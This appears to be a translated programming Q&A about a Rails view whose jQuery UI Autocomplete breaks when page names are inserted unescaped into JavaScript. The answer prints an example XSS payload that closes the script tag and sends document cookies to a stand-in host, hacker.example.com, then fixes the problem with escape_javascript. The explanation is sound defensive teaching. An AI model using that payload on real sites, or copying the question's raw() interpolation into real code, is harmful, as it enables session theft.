DESC的订购输入打破了jQuery UI Autocomplete

时间:2015-10-22 07:49:36

标签: javascript jquery ruby-on-rails jquery-ui autocomplete

我试图将表Page输入到jQuery UI Autocomplete中。如果我用Page.order('id ASC')输入它,它可以很好地工作,但如果我用Page.order('id DESC')输入它就会中断,即使该行

Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")

在我的rails控制台中执行无错误。它甚至在同一页面上进一步打破了另一个jQuery UI Autocomplete,所以我认为jQuery本身必定是失败的。

它也会在我的页面源中打印出无错误。

任何人都知道为什么在这种情况下失败了?

  <head>
    <meta charset="utf-8">
    <title>jQuery UI Autocomplete - Multiple values</title>
    <link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
    <script src="//code.jquery.com/jquery-1.10.2.js"></script>
    <script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
    <link rel="stylesheet" href="/resources/demos/style.css">
    <script>
    $(function() {
      var availableTags = [
        <%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
      ];
      function split( val ) {
        return val.split( /,\s*/ );
      }
      function extractLast( term ) {
        return split( term ).pop();
      }

      $( "#pages" )
        // don't navigate away from the field on tab when selecting an item
        .bind( "keydown", function( event ) {
          if ( event.keyCode === $.ui.keyCode.TAB &&
              $( this ).autocomplete( "instance" ).menu.active ) {
            event.preventDefault();
          }
        })
        .autocomplete({
          minLength: 0,
          source: function( request, response ) {
            // delegate back to autocomplete, but extract the last term
            response( $.ui.autocomplete.filter(
              availableTags, extractLast( request.term ) ) );
          },
          focus: function() {
            // prevent value inserted on focus
            return false;
          },
          select: function( event, ui ) {
            var terms = split( this.value );
            // remove the current input
            terms.pop();
            // add the selected item
            terms.push( ui.item.value );
            // add placeholder to get the comma-and-space at the end
            terms.push( "" );
            this.value = terms.join( ", " );
            return false;
          }
        });
    });
    </script>
  </head>

  <div class="ui-widget">
    <textarea id="pages" name="pages" size="50"></textarea>
  </div><br>

1 个答案:

答案 0 :(得分:1)

您的数据库中是否有超过1000条页面记录?您可能正在选择一组不同的页面,其中一个页面可能具有类似

的标题
How to use "quotation" marks

Tabs    slashes \\\ & special characters @%*(!@#

或更糟

"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>

这些将直接插入到您的JS中,例如:

$(function() {
  var availableTags = [
    "How to use "quotation" marks",
    "Tabs    slashes \\\ & special characters @%*(!@#",
    ""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
  ];
...

所有这些都很糟糕。前两个可能会破坏脚本,因为在没有正确转义为\"\\的情况下,字符串中间不允许使用引号和斜杠等内容。

Rails提供了一个名为escape_javascript的便捷函数,它也可以用j替换,可用于转义JavaScript代码。例如。 data = "<%=j 'a"b"c' %>";将输出data = "a\"b\"c";

我会更新你的循环,生成availableTags数组以使用这个方法:

var availableTags = [
  <%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
  ];